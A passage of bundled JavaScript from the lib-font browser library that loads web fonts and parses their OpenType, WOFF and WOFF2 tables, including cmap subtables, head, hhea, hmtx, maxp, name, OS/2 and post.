		return SVG$1;
	} ),
	Promise.resolve().then( function () {
		return fvar$1;
	} ),
	Promise.resolve().then( function () {
		return cvt$1;
	} ),
	Promise.resolve().then( function () {
		return fpgm$1;
	} ),
	Promise.resolve().then( function () {
		return gasp$1;
	} ),
	Promise.resolve().then( function () {
		return glyf$1;
	} ),
	Promise.resolve().then( function () {
		return loca$1;
	} ),
	Promise.resolve().then( function () {
		return prep$1;
	} ),
	Promise.resolve().then( function () {
		return CFF$1;
	} ),
	Promise.resolve().then( function () {
		return CFF2$1;
	} ),
	Promise.resolve().then( function () {
		return VORG$1;
	} ),
	Promise.resolve().then( function () {
		return EBLC$1;
	} ),
	Promise.resolve().then( function () {
		return EBDT$1;
	} ),
	Promise.resolve().then( function () {
		return EBSC$1;
	} ),
	Promise.resolve().then( function () {
		return CBLC$1;
	} ),
	Promise.resolve().then( function () {
		return CBDT$1;
	} ),
	Promise.resolve().then( function () {
		return sbix$1;
	} ),
	Promise.resolve().then( function () {
		return COLR$1;
	} ),
	Promise.resolve().then( function () {
		return CPAL$1;
	} ),
	Promise.resolve().then( function () {
		return DSIG$1;
	} ),
	Promise.resolve().then( function () {
		return hdmx$1;
	} ),
	Promise.resolve().then( function () {
		return kern$1;
	} ),
	Promise.resolve().then( function () {
		return LTSH$1;
	} ),
	Promise.resolve().then( function () {
		return MERG$1;
	} ),
	Promise.resolve().then( function () {
		return meta$1;
	} ),
	Promise.resolve().then( function () {
		return PCLT$1;
	} ),
	Promise.resolve().then( function () {
		return VDMX$1;
	} ),
	Promise.resolve().then( function () {
		return vhea$1;
	} ),
	Promise.resolve().then( function () {
		return vmtx$1;
	} ),
] ).then( ( data ) => {
	data.forEach( ( e ) => {
		let name = Object.keys( e )[ 0 ];
		tableClasses[ name ] = e[ name ];
	} );
	tableClassesLoaded = true;
} );
function createTable( tables, dict, dataview ) {
	let name = dict.tag.replace( /[^\w\d]/g, `` );
	let Type = tableClasses[ name ];
	if ( Type ) return new Type( dict, dataview, tables );
	console.warn(
		`lib-font has no definition for ${ name }. The table was skipped.`
	);
	return {};
}
function loadTableClasses() {
	let count = 0;
	function checkLoaded( resolve, reject ) {
		if ( ! tableClassesLoaded ) {
			if ( count > 10 ) {
				return reject( new Error( `loading took too long` ) );
			}
			count++;
			return setTimeout( () => checkLoaded( resolve ), 250 );
		}
		resolve( createTable );
	}
	return new Promise( ( resolve, reject ) => checkLoaded( resolve ) );
}
function getFontCSSFormat( path, errorOnStyle ) {
	let pos = path.lastIndexOf( `.` );
	let ext = ( path.substring( pos + 1 ) || `` ).toLowerCase();
	let format = {
		ttf: `truetype`,
		otf: `opentype`,
		woff: `woff`,
		woff2: `woff2`,
	}[ ext ];
	if ( format ) return format;
	let msg = {
		eot: `The .eot format is not supported: it died in January 12, 2016, when Microsoft retired all versions of IE that didn't already support WOFF.`,
		svg: `The .svg format is not supported: SVG fonts (not to be confused with OpenType with embedded SVG) were so bad we took the entire fonts chapter out of the SVG specification again.`,
		fon: `The .fon format is not supported: this is an ancient Windows bitmap font format.`,
		ttc: `Based on the current CSS specification, font collections are not (yet?) supported.`,
	}[ ext ];
	if ( ! msg ) msg = `${ path } is not a known webfont format.`;
	if ( errorOnStyle ) {
		throw new Error( msg );
	} else {
		console.warn( `Could not load font: ${ msg }` );
	}
}
async function setupFontFace( name, url, options = {} ) {
	if ( ! globalThis.document ) return;
	let format = getFontCSSFormat( url, options.errorOnStyle );
	if ( ! format ) return;
	let style = document.createElement( `style` );
	style.className = `injected-by-Font-js`;
	let rules = [];
	if ( options.styleRules ) {
		rules = Object.entries( options.styleRules ).map(
			( [ key, value ] ) => `${ key }: ${ value };`
		);
	}
	style.textContent = `\n@font-face {\n    font-family: "${ name }";\n    ${ rules.join(
		`\n\t`
	) }\n    src: url("${ url }") format("${ format }");\n}`;
	globalThis.document.head.appendChild( style );
	return style;
}
const TTF = [ 0, 1, 0, 0 ];
const OTF = [ 79, 84, 84, 79 ];
const WOFF = [ 119, 79, 70, 70 ];
const WOFF2 = [ 119, 79, 70, 50 ];
function match( ar1, ar2 ) {
	if ( ar1.length !== ar2.length ) return;
	for ( let i = 0; i < ar1.length; i++ ) {
		if ( ar1[ i ] !== ar2[ i ] ) return;
	}
	return true;
}
function validFontFormat( dataview ) {
	const LEAD_BYTES = [
		dataview.getUint8( 0 ),
		dataview.getUint8( 1 ),
		dataview.getUint8( 2 ),
		dataview.getUint8( 3 ),
	];
	if ( match( LEAD_BYTES, TTF ) || match( LEAD_BYTES, OTF ) ) return `SFNT`;
	if ( match( LEAD_BYTES, WOFF ) ) return `WOFF`;
	if ( match( LEAD_BYTES, WOFF2 ) ) return `WOFF2`;
}
function checkFetchResponseStatus( response ) {
	if ( ! response.ok ) {
		throw new Error(
			`HTTP ${ response.status } - ${ response.statusText }`
		);
	}
	return response;
}
class Font extends EventManager {
	constructor( name, options = {} ) {
		super();
		this.name = name;
		this.options = options;
		this.metrics = false;
	}
	get src() {
		return this.__src;
	}
	set src( src ) {
		this.__src = src;
		( async () => {
			if ( globalThis.document && ! this.options.skipStyleSheet ) {
				await setupFontFace( this.name, src, this.options );
			}
			this.loadFont( src );
		} )();
	}
	async loadFont( url, filename ) {
		fetch( url )
			.then(
				( response ) =>
					checkFetchResponseStatus( response ) &&
					response.arrayBuffer()
			)
			.then( ( buffer ) =>
				this.fromDataBuffer( buffer, filename || url )
			)
			.catch( ( err ) => {
				const evt = new lib_font_browser_Event(
					`error`,
					err,
					`Failed to load font at ${ filename || url }`
				);
				this.dispatch( evt );
				if ( this.onerror ) this.onerror( evt );
			} );
	}
	async fromDataBuffer( buffer, filenameOrUrL ) {
		this.fontData = new DataView( buffer );
		let type = validFontFormat( this.fontData );
		if ( ! type ) {
			throw new Error(
				`${ filenameOrUrL } is either an unsupported font format, or not a font at all.`
			);
		}
		await this.parseBasicData( type );
		const evt = new lib_font_browser_Event( 'load', { font: this } );
		this.dispatch( evt );
		if ( this.onload ) this.onload( evt );
	}
	async parseBasicData( type ) {
		return loadTableClasses().then( ( createTable ) => {
			if ( type === `SFNT` ) {
				this.opentype = new SFNT( this, this.fontData, createTable );
			}
			if ( type === `WOFF` ) {
				this.opentype = new WOFF$1( this, this.fontData, createTable );
			}
			if ( type === `WOFF2` ) {
				this.opentype = new WOFF2$1( this, this.fontData, createTable );
			}
			return this.opentype;
		} );
	}
	getGlyphId( char ) {
		return this.opentype.tables.cmap.getGlyphId( char );
	}
	reverse( glyphid ) {
		return this.opentype.tables.cmap.reverse( glyphid );
	}
	supports( char ) {
		return this.getGlyphId( char ) !== 0;
	}
	supportsVariation( variation ) {
		return (
			this.opentype.tables.cmap.supportsVariation( variation ) !== false
		);
	}
	measureText( text, size = 16 ) {
		if ( this.__unloaded )
			throw new Error(
				'Cannot measure text: font was unloaded. Please reload before calling measureText()'
			);
		let d = document.createElement( 'div' );
		d.textContent = text;
		d.style.fontFamily = this.name;
		d.style.fontSize = `${ size }px`;
		d.style.color = `transparent`;
		d.style.background = `transparent`;
		d.style.top = `0`;
		d.style.left = `0`;
		d.style.position = `absolute`;
		document.body.appendChild( d );
		let bbox = d.getBoundingClientRect();
		document.body.removeChild( d );
		const OS2 = this.opentype.tables[ 'OS/2' ];
		bbox.fontSize = size;
		bbox.ascender = OS2.sTypoAscender;
		bbox.descender = OS2.sTypoDescender;
		return bbox;
	}
	unload() {
		if ( this.styleElement.parentNode ) {
			this.styleElement.parentNode.removeElement( this.styleElement );
			const evt = new lib_font_browser_Event( 'unload', { font: this } );
			this.dispatch( evt );
			if ( this.onunload ) this.onunload( evt );
		}
		this._unloaded = true;
	}
	load() {
		if ( this.__unloaded ) {
			delete this.__unloaded;
			document.head.appendChild( this.styleElement );
			const evt = new lib_font_browser_Event( 'load', { font: this } );
			this.dispatch( evt );
			if ( this.onload ) this.onload( evt );
		}
	}
}
globalThis.Font = Font;
class Subtable extends ParsedData {
	constructor( p, plaformID, encodingID ) {
		super( p );
		this.plaformID = plaformID;
		this.encodingID = encodingID;
	}
}
class Format0 extends Subtable {
	constructor( p, platformID, encodingID ) {
		super( p, platformID, encodingID );
		this.format = 0;
		this.length = p.uint16;
		this.language = p.uint16;
		this.glyphIdArray = [ ...new Array( 256 ) ].map( ( _ ) => p.uint8 );
	}
	supports( charCode ) {
		if ( charCode.charCodeAt ) {
			charCode = -1;
			console.warn(
				`supports(character) not implemented for cmap subtable format 0. only supports(id) is implemented.`
			);
		}
		return 0 <= charCode && charCode <= 255;
	}
	reverse( glyphID ) {
		console.warn( `reverse not implemented for cmap subtable format 0` );
		return {};
	}
	getSupportedCharCodes() {
		return [ { start: 1, end: 256 } ];
	}
}
class Format2 extends Subtable {
	constructor( p, platformID, encodingID ) {
		super( p, platformID, encodingID );
		this.format = 2;
		this.length = p.uint16;
		this.language = p.uint16;
		this.subHeaderKeys = [ ...new Array( 256 ) ].map( ( _ ) => p.uint16 );
		const subHeaderCount = Math.max( ...this.subHeaderKeys );
		const subHeaderOffset = p.currentPosition;
		lazy$1( this, `subHeaders`, () => {
			p.currentPosition = subHeaderOffset;
			return [ ...new Array( subHeaderCount ) ].map(
				( _ ) => new SubHeader( p )
			);
		} );
		const glyphIndexOffset = subHeaderOffset + subHeaderCount * 8;
		lazy$1( this, `glyphIndexArray`, () => {
			p.currentPosition = glyphIndexOffset;
			return [ ...new Array( subHeaderCount ) ].map( ( _ ) => p.uint16 );
		} );
	}
	supports( charCode ) {
		if ( charCode.charCodeAt ) {
			charCode = -1;
			console.warn(
				`supports(character) not implemented for cmap subtable format 2. only supports(id) is implemented.`
			);
		}
		const low = charCode && 255;
		const high = charCode && 65280;
		const subHeaderKey = this.subHeaders[ high ];
		const subheader = this.subHeaders[ subHeaderKey ];
		const first = subheader.firstCode;
		const last = first + subheader.entryCount;
		return first <= low && low <= last;
	}
	reverse( glyphID ) {
		console.warn( `reverse not implemented for cmap subtable format 2` );
		return {};
	}
	getSupportedCharCodes( preservePropNames = false ) {
		if ( preservePropNames ) {
			return this.subHeaders.map( ( h ) => ( {
				firstCode: h.firstCode,
				lastCode: h.lastCode,
			} ) );
		}
		return this.subHeaders.map( ( h ) => ( {
			start: h.firstCode,
			end: h.lastCode,
		} ) );
	}
}
class SubHeader {
	constructor( p ) {
		this.firstCode = p.uint16;
		this.entryCount = p.uint16;
		this.lastCode = this.first + this.entryCount;
		this.idDelta = p.int16;
		this.idRangeOffset = p.uint16;
	}
}
class Format4 extends Subtable {
	constructor( p, platformID, encodingID ) {
		super( p, platformID, encodingID );
		this.format = 4;
		this.length = p.uint16;
		this.language = p.uint16;
		this.segCountX2 = p.uint16;
		this.segCount = this.segCountX2 / 2;
		this.searchRange = p.uint16;
		this.entrySelector = p.uint16;
		this.rangeShift = p.uint16;
		const endCodePosition = p.currentPosition;
		lazy$1( this, `endCode`, () =>
			p.readBytes( this.segCount, endCodePosition, 16 )
		);
		const startCodePosition = endCodePosition + 2 + this.segCountX2;
		lazy$1( this, `startCode`, () =>
			p.readBytes( this.segCount, startCodePosition, 16 )
		);
		const idDeltaPosition = startCodePosition + this.segCountX2;
		lazy$1( this, `idDelta`, () =>
			p.readBytes( this.segCount, idDeltaPosition, 16, true )
		);
		const idRangePosition = idDeltaPosition + this.segCountX2;
		lazy$1( this, `idRangeOffset`, () =>
			p.readBytes( this.segCount, idRangePosition, 16 )
		);
		const glyphIdArrayPosition = idRangePosition + this.segCountX2;
		const glyphIdArrayLength =
			this.length - ( glyphIdArrayPosition - this.tableStart );
		lazy$1( this, `glyphIdArray`, () =>
			p.readBytes( glyphIdArrayLength, glyphIdArrayPosition, 16 )
		);
		lazy$1( this, `segments`, () =>
			this.buildSegments( idRangePosition, glyphIdArrayPosition, p )
		);
	}
	buildSegments( idRangePosition, glyphIdArrayPosition, p ) {
		const build = ( _, i ) => {
			let startCode = this.startCode[ i ],
				endCode = this.endCode[ i ],
				idDelta = this.idDelta[ i ],
				idRangeOffset = this.idRangeOffset[ i ],
				idRangeOffsetPointer = idRangePosition + 2 * i,
				glyphIDs = [];
			if ( idRangeOffset === 0 ) {
				for (
					let i = startCode + idDelta, e = endCode + idDelta;
					i <= e;
					i++
				) {
					glyphIDs.push( i );
				}
			} else {
				for ( let i = 0, e = endCode - startCode; i <= e; i++ ) {
					p.currentPosition =
						idRangeOffsetPointer + idRangeOffset + i * 2;
					glyphIDs.push( p.uint16 );
				}
			}
			return {
				startCode: startCode,
				endCode: endCode,
				idDelta: idDelta,
				idRangeOffset: idRangeOffset,
				glyphIDs: glyphIDs,
			};
		};
		return [ ...new Array( this.segCount ) ].map( build );
	}
	reverse( glyphID ) {
		let s = this.segments.find( ( v ) => v.glyphIDs.includes( glyphID ) );
		if ( ! s ) return {};
		const code = s.startCode + s.glyphIDs.indexOf( glyphID );
		return { code: code, unicode: String.fromCodePoint( code ) };
	}
	getGlyphId( charCode ) {
		if ( charCode.charCodeAt ) charCode = charCode.charCodeAt( 0 );
		if ( 55296 <= charCode && charCode <= 57343 ) return 0;
		if ( ( charCode & 65534 ) === 65534 || ( charCode & 65535 ) === 65535 )
			return 0;
		let segment = this.segments.find(
			( s ) => s.startCode <= charCode && charCode <= s.endCode
		);
		if ( ! segment ) return 0;
		return segment.glyphIDs[ charCode - segment.startCode ];
	}
	supports( charCode ) {
		return this.getGlyphId( charCode ) !== 0;
	}
	getSupportedCharCodes( preservePropNames = false ) {
		if ( preservePropNames ) return this.segments;
		return this.segments.map( ( v ) => ( {
			start: v.startCode,
			end: v.endCode,
		} ) );
	}
}
class Format6 extends Subtable {
	constructor( p, platformID, encodingID ) {
		super( p, platformID, encodingID );
		this.format = 6;
		this.length = p.uint16;
		this.language = p.uint16;
		this.firstCode = p.uint16;
		this.entryCount = p.uint16;
		this.lastCode = this.firstCode + this.entryCount - 1;
		const getter = () =>
			[ ...new Array( this.entryCount ) ].map( ( _ ) => p.uint16 );
		lazy$1( this, `glyphIdArray`, getter );
	}
	supports( charCode ) {
		if ( charCode.charCodeAt ) {
			charCode = -1;
			console.warn(
				`supports(character) not implemented for cmap subtable format 6. only supports(id) is implemented.`
			);
		}
		if ( charCode < this.firstCode ) return {};
		if ( charCode > this.firstCode + this.entryCount ) return {};
		const code = charCode - this.firstCode;
		return { code: code, unicode: String.fromCodePoint( code ) };
	}
	reverse( glyphID ) {
		let pos = this.glyphIdArray.indexOf( glyphID );
		if ( pos > -1 ) return this.firstCode + pos;
	}
	getSupportedCharCodes( preservePropNames = false ) {
		if ( preservePropNames ) {
			return [ { firstCode: this.firstCode, lastCode: this.lastCode } ];
		}
		return [ { start: this.firstCode, end: this.lastCode } ];
	}
}
class Format8 extends Subtable {
	constructor( p, platformID, encodingID ) {
		super( p, platformID, encodingID );
		this.format = 8;
		p.uint16;
		this.length = p.uint32;
		this.language = p.uint32;
		this.is32 = [ ...new Array( 8192 ) ].map( ( _ ) => p.uint8 );
		this.numGroups = p.uint32;
		const getter = () =>
			[ ...new Array( this.numGroups ) ].map(
				( _ ) => new SequentialMapGroup$1( p )
			);
		lazy$1( this, `groups`, getter );
	}
	supports( charCode ) {
		if ( charCode.charCodeAt ) {
			charCode = -1;
			console.warn(
				`supports(character) not implemented for cmap subtable format 8. only supports(id) is implemented.`
			);
		}
		return (
			this.groups.findIndex(
				( s ) =>
					s.startcharCode <= charCode && charCode <= s.endcharCode
			) !== -1
		);
	}
	reverse( glyphID ) {
		console.warn( `reverse not implemented for cmap subtable format 8` );
		return {};
	}
	getSupportedCharCodes( preservePropNames = false ) {
		if ( preservePropNames ) return this.groups;
		return this.groups.map( ( v ) => ( {
			start: v.startcharCode,
			end: v.endcharCode,
		} ) );
	}
}
class SequentialMapGroup$1 {
	constructor( p ) {
		this.startcharCode = p.uint32;
		this.endcharCode = p.uint32;
		this.startGlyphID = p.uint32;
	}
}
class Format10 extends Subtable {
	constructor( p, platformID, encodingID ) {
		super( p, platformID, encodingID );
		this.format = 10;
		p.uint16;
		this.length = p.uint32;
		this.language = p.uint32;
		this.startCharCode = p.uint32;
		this.numChars = p.uint32;
		this.endCharCode = this.startCharCode + this.numChars;
		const getter = () =>
			[ ...new Array( this.numChars ) ].map( ( _ ) => p.uint16 );
		lazy$1( this, `glyphs`, getter );
	}
	supports( charCode ) {
		if ( charCode.charCodeAt ) {
			charCode = -1;
			console.warn(
				`supports(character) not implemented for cmap subtable format 10. only supports(id) is implemented.`
			);
		}
		if ( charCode < this.startCharCode ) return false;
		if ( charCode > this.startCharCode + this.numChars ) return false;
		return charCode - this.startCharCode;
	}
	reverse( glyphID ) {
		console.warn( `reverse not implemented for cmap subtable format 10` );
		return {};
	}
	getSupportedCharCodes( preservePropNames = false ) {
		if ( preservePropNames ) {
			return [
				{
					startCharCode: this.startCharCode,
					endCharCode: this.endCharCode,
				},
			];
		}
		return [ { start: this.startCharCode, end: this.endCharCode } ];
	}
}
class Format12 extends Subtable {
	constructor( p, platformID, encodingID ) {
		super( p, platformID, encodingID );
		this.format = 12;
		p.uint16;
		this.length = p.uint32;
		this.language = p.uint32;
		this.numGroups = p.uint32;
		const getter = () =>
			[ ...new Array( this.numGroups ) ].map(
				( _ ) => new SequentialMapGroup( p )
			);
		lazy$1( this, `groups`, getter );
	}
	supports( charCode ) {
		if ( charCode.charCodeAt ) charCode = charCode.charCodeAt( 0 );
		if ( 55296 <= charCode && charCode <= 57343 ) return 0;
		if ( ( charCode & 65534 ) === 65534 || ( charCode & 65535 ) === 65535 )
			return 0;
		return (
			this.groups.findIndex(
				( s ) =>
					s.startCharCode <= charCode && charCode <= s.endCharCode
			) !== -1
		);
	}
	reverse( glyphID ) {
		for ( let group of this.groups ) {
			let start = group.startGlyphID;
			if ( start > glyphID ) continue;
			if ( start === glyphID ) return group.startCharCode;
			let end = start + ( group.endCharCode - group.startCharCode );
			if ( end < glyphID ) continue;
			const code = group.startCharCode + ( glyphID - start );
			return { code: code, unicode: String.fromCodePoint( code ) };
		}
		return {};
	}
	getSupportedCharCodes( preservePropNames = false ) {
		if ( preservePropNames ) return this.groups;
		return this.groups.map( ( v ) => ( {
			start: v.startCharCode,
			end: v.endCharCode,
		} ) );
	}
}
class SequentialMapGroup {
	constructor( p ) {
		this.startCharCode = p.uint32;
		this.endCharCode = p.uint32;
		this.startGlyphID = p.uint32;
	}
}
class Format13 extends Subtable {
	constructor( p, platformID, encodingID ) {
		super( p, platformID, encodingID );
		this.format = 13;
		p.uint16;
		this.length = p.uint32;
		this.language = p.uint32;
		this.numGroups = p.uint32;
		const getter = [ ...new Array( this.numGroups ) ].map(
			( _ ) => new ConstantMapGroup( p )
		);
		lazy$1( this, `groups`, getter );
	}
	supports( charCode ) {
		if ( charCode.charCodeAt ) charCode = charCode.charCodeAt( 0 );
		return (
			this.groups.findIndex(
				( s ) =>
					s.startCharCode <= charCode && charCode <= s.endCharCode
			) !== -1
		);
	}
	reverse( glyphID ) {
		console.warn( `reverse not implemented for cmap subtable format 13` );
		return {};
	}
	getSupportedCharCodes( preservePropNames = false ) {
		if ( preservePropNames ) return this.groups;
		return this.groups.map( ( v ) => ( {
			start: v.startCharCode,
			end: v.endCharCode,
		} ) );
	}
}
class ConstantMapGroup {
	constructor( p ) {
		this.startCharCode = p.uint32;
		this.endCharCode = p.uint32;
		this.glyphID = p.uint32;
	}
}
class Format14 extends Subtable {
	constructor( p, platformID, encodingID ) {
		super( p, platformID, encodingID );
		this.subTableStart = p.currentPosition;
		this.format = 14;
		this.length = p.uint32;
		this.numVarSelectorRecords = p.uint32;
		lazy$1( this, `varSelectors`, () =>
			[ ...new Array( this.numVarSelectorRecords ) ].map(
				( _ ) => new VariationSelector( p )
			)
		);
	}
	supports() {
		console.warn( `supports not implemented for cmap subtable format 14` );
		return 0;
	}
	getSupportedCharCodes() {
		console.warn(
			`getSupportedCharCodes not implemented for cmap subtable format 14`
		);
		return [];
	}
	reverse( glyphID ) {
		console.warn( `reverse not implemented for cmap subtable format 14` );
		return {};
	}
	supportsVariation( variation ) {
		let v = this.varSelector.find(
			( uvs ) => uvs.varSelector === variation
		);
		return v ? v : false;
	}
	getSupportedVariations() {
		return this.varSelectors.map( ( v ) => v.varSelector );
	}
}
class VariationSelector {
	constructor( p ) {
		this.varSelector = p.uint24;
		this.defaultUVSOffset = p.Offset32;
		this.nonDefaultUVSOffset = p.Offset32;
	}
}
function createSubTable( parser, platformID, encodingID ) {
	const format = parser.uint16;
	if ( format === 0 ) return new Format0( parser, platformID, encodingID );
	if ( format === 2 ) return new Format2( parser, platformID, encodingID );
	if ( format === 4 ) return new Format4( parser, platformID, encodingID );
	if ( format === 6 ) return new Format6( parser, platformID, encodingID );
	if ( format === 8 ) return new Format8( parser, platformID, encodingID );
	if ( format === 10 ) return new Format10( parser, platformID, encodingID );
	if ( format === 12 ) return new Format12( parser, platformID, encodingID );
	if ( format === 13 ) return new Format13( parser, platformID, encodingID );
	if ( format === 14 ) return new Format14( parser, platformID, encodingID );
	return {};
}
class cmap extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.uint16;
		this.numTables = p.uint16;
		this.encodingRecords = [ ...new Array( this.numTables ) ].map(
			( _ ) => new EncodingRecord( p, this.tableStart )
		);
	}
	getSubTable( tableID ) {
		return this.encodingRecords[ tableID ].table;
	}
	getSupportedEncodings() {
		return this.encodingRecords.map( ( r ) => ( {
			platformID: r.platformID,
			encodingId: r.encodingID,
		} ) );
	}
	getSupportedCharCodes( platformID, encodingID ) {
		const recordID = this.encodingRecords.findIndex(
			( r ) => r.platformID === platformID && r.encodingID === encodingID
		);
		if ( recordID === -1 ) return false;
		const subtable = this.getSubTable( recordID );
		return subtable.getSupportedCharCodes();
	}
	reverse( glyphid ) {
		for ( let i = 0; i < this.numTables; i++ ) {
			let code = this.getSubTable( i ).reverse( glyphid );
			if ( code ) return code;
		}
	}
	getGlyphId( char ) {
		let last = 0;
		this.encodingRecords.some( ( _, tableID ) => {
			let t = this.getSubTable( tableID );
			if ( ! t.getGlyphId ) return false;
			last = t.getGlyphId( char );
			return last !== 0;
		} );
		return last;
	}
	supports( char ) {
		return this.encodingRecords.some( ( _, tableID ) => {
			const t = this.getSubTable( tableID );
			return t.supports && t.supports( char ) !== false;
		} );
	}
	supportsVariation( variation ) {
		return this.encodingRecords.some( ( _, tableID ) => {
			const t = this.getSubTable( tableID );
			return (
				t.supportsVariation &&
				t.supportsVariation( variation ) !== false
			);
		} );
	}
}
class EncodingRecord {
	constructor( p, tableStart ) {
		const platformID = ( this.platformID = p.uint16 );
		const encodingID = ( this.encodingID = p.uint16 );
		const offset = ( this.offset = p.Offset32 );
		lazy$1( this, `table`, () => {
			p.currentPosition = tableStart + offset;
			return createSubTable( p, platformID, encodingID );
		} );
	}
}
var cmap$1 = Object.freeze( { __proto__: null, cmap: cmap } );
class head extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.load( {
			majorVersion: p.uint16,
			minorVersion: p.uint16,
			fontRevision: p.fixed,
			checkSumAdjustment: p.uint32,
			magicNumber: p.uint32,
			flags: p.flags( 16 ),
			unitsPerEm: p.uint16,
			created: p.longdatetime,
			modified: p.longdatetime,
			xMin: p.int16,
			yMin: p.int16,
			xMax: p.int16,
			yMax: p.int16,
			macStyle: p.flags( 16 ),
			lowestRecPPEM: p.uint16,
			fontDirectionHint: p.uint16,
			indexToLocFormat: p.uint16,
			glyphDataFormat: p.uint16,
		} );
	}
}
var head$1 = Object.freeze( { __proto__: null, head: head } );
class hhea extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.majorVersion = p.uint16;
		this.minorVersion = p.uint16;
		this.ascender = p.fword;
		this.descender = p.fword;
		this.lineGap = p.fword;
		this.advanceWidthMax = p.ufword;
		this.minLeftSideBearing = p.fword;
		this.minRightSideBearing = p.fword;
		this.xMaxExtent = p.fword;
		this.caretSlopeRise = p.int16;
		this.caretSlopeRun = p.int16;
		this.caretOffset = p.int16;
		p.int16;
		p.int16;
		p.int16;
		p.int16;
		this.metricDataFormat = p.int16;
		this.numberOfHMetrics = p.uint16;
		p.verifyLength();
	}
}
var hhea$1 = Object.freeze( { __proto__: null, hhea: hhea } );
class hmtx extends SimpleTable {
	constructor( dict, dataview, tables ) {
		const { p: p } = super( dict, dataview );
		const numberOfHMetrics = tables.hhea.numberOfHMetrics;
		const numGlyphs = tables.maxp.numGlyphs;
		const metricsStart = p.currentPosition;
		lazy$1( this, `hMetrics`, () => {
			p.currentPosition = metricsStart;
			return [ ...new Array( numberOfHMetrics ) ].map(
				( _ ) => new LongHorMetric( p.uint16, p.int16 )
			);
		} );
		if ( numberOfHMetrics < numGlyphs ) {
			const lsbStart = metricsStart + numberOfHMetrics * 4;
			lazy$1( this, `leftSideBearings`, () => {
				p.currentPosition = lsbStart;
				return [ ...new Array( numGlyphs - numberOfHMetrics ) ].map(
					( _ ) => p.int16
				);
			} );
		}
	}
}
class LongHorMetric {
	constructor( w, b ) {
		this.advanceWidth = w;
		this.lsb = b;
	}
}
var hmtx$1 = Object.freeze( { __proto__: null, hmtx: hmtx } );
class maxp extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.legacyFixed;
		this.numGlyphs = p.uint16;
		if ( this.version === 1 ) {
			this.maxPoints = p.uint16;
			this.maxContours = p.uint16;
			this.maxCompositePoints = p.uint16;
			this.maxCompositeContours = p.uint16;
			this.maxZones = p.uint16;
			this.maxTwilightPoints = p.uint16;
			this.maxStorage = p.uint16;
			this.maxFunctionDefs = p.uint16;
			this.maxInstructionDefs = p.uint16;
			this.maxStackElements = p.uint16;
			this.maxSizeOfInstructions = p.uint16;
			this.maxComponentElements = p.uint16;
			this.maxComponentDepth = p.uint16;
		}
		p.verifyLength();
	}
}
var maxp$1 = Object.freeze( { __proto__: null, maxp: maxp } );
class lib_font_browser_name extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.format = p.uint16;
		this.count = p.uint16;
		this.stringOffset = p.Offset16;
		this.nameRecords = [ ...new Array( this.count ) ].map(
			( _ ) => new NameRecord( p, this )
		);
		if ( this.format === 1 ) {
			this.langTagCount = p.uint16;
			this.langTagRecords = [ ...new Array( this.langTagCount ) ].map(
				( _ ) => new LangTagRecord( p.uint16, p.Offset16 )
			);
		}
		this.stringStart = this.tableStart + this.stringOffset;
	}
	get( nameID ) {
		let record = this.nameRecords.find(
			( record ) => record.nameID === nameID
		);
		if ( record ) return record.string;
	}
}
class LangTagRecord {
	constructor( length, offset ) {
		this.length = length;
		this.offset = offset;
	}
}
class NameRecord {
	constructor( p, nameTable ) {
		this.platformID = p.uint16;
		this.encodingID = p.uint16;
		this.languageID = p.uint16;
		this.nameID = p.uint16;
		this.length = p.uint16;
		this.offset = p.Offset16;
		lazy$1( this, `string`, () => {
			p.currentPosition = nameTable.stringStart + this.offset;
			return decodeString( p, this );
		} );
	}
}
function decodeString( p, record ) {
	const { platformID: platformID, length: length } = record;
	if ( length === 0 ) return ``;
	if ( platformID === 0 || platformID === 3 ) {
		const str = [];
		for ( let i = 0, e = length / 2; i < e; i++ )
			str[ i ] = String.fromCharCode( p.uint16 );
		return str.join( `` );
	}
	const bytes = p.readBytes( length );
	const str = [];
	bytes.forEach( function ( b, i ) {
		str[ i ] = String.fromCharCode( b );
	} );
	return str.join( `` );
}
var name$1 = Object.freeze( { __proto__: null, name: lib_font_browser_name } );
class OS2 extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.uint16;
		this.xAvgCharWidth = p.int16;
		this.usWeightClass = p.uint16;
		this.usWidthClass = p.uint16;
		this.fsType = p.uint16;
		this.ySubscriptXSize = p.int16;
		this.ySubscriptYSize = p.int16;
		this.ySubscriptXOffset = p.int16;
		this.ySubscriptYOffset = p.int16;
		this.ySuperscriptXSize = p.int16;
		this.ySuperscriptYSize = p.int16;
		this.ySuperscriptXOffset = p.int16;
		this.ySuperscriptYOffset = p.int16;
		this.yStrikeoutSize = p.int16;
		this.yStrikeoutPosition = p.int16;
		this.sFamilyClass = p.int16;
		this.panose = [ ...new Array( 10 ) ].map( ( _ ) => p.uint8 );
		this.ulUnicodeRange1 = p.flags( 32 );
		this.ulUnicodeRange2 = p.flags( 32 );
		this.ulUnicodeRange3 = p.flags( 32 );
		this.ulUnicodeRange4 = p.flags( 32 );
		this.achVendID = p.tag;
		this.fsSelection = p.uint16;
		this.usFirstCharIndex = p.uint16;
		this.usLastCharIndex = p.uint16;
		this.sTypoAscender = p.int16;
		this.sTypoDescender = p.int16;
		this.sTypoLineGap = p.int16;
		this.usWinAscent = p.uint16;
		this.usWinDescent = p.uint16;
		if ( this.version === 0 ) return p.verifyLength();
		this.ulCodePageRange1 = p.flags( 32 );
		this.ulCodePageRange2 = p.flags( 32 );
		if ( this.version === 1 ) return p.verifyLength();
		this.sxHeight = p.int16;
		this.sCapHeight = p.int16;
		this.usDefaultChar = p.uint16;
		this.usBreakChar = p.uint16;
		this.usMaxContext = p.uint16;
		if ( this.version <= 4 ) return p.verifyLength();
		this.usLowerOpticalPointSize = p.uint16;
		this.usUpperOpticalPointSize = p.uint16;
		if ( this.version === 5 ) return p.verifyLength();
	}
}
var OS2$1 = Object.freeze( { __proto__: null, OS2: OS2 } );
class post extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.legacyFixed;
		this.italicAngle = p.fixed;
		this.underlinePosition = p.fword;
		this.underlineThickness = p.fword;
		this.isFixedPitch = p.uint32;
		this.minMemType42 = p.uint32;
		this.maxMemType42 = p.uint32;
		this.minMemType1 = p.uint32;
		this.maxMemType1 = p.uint32;
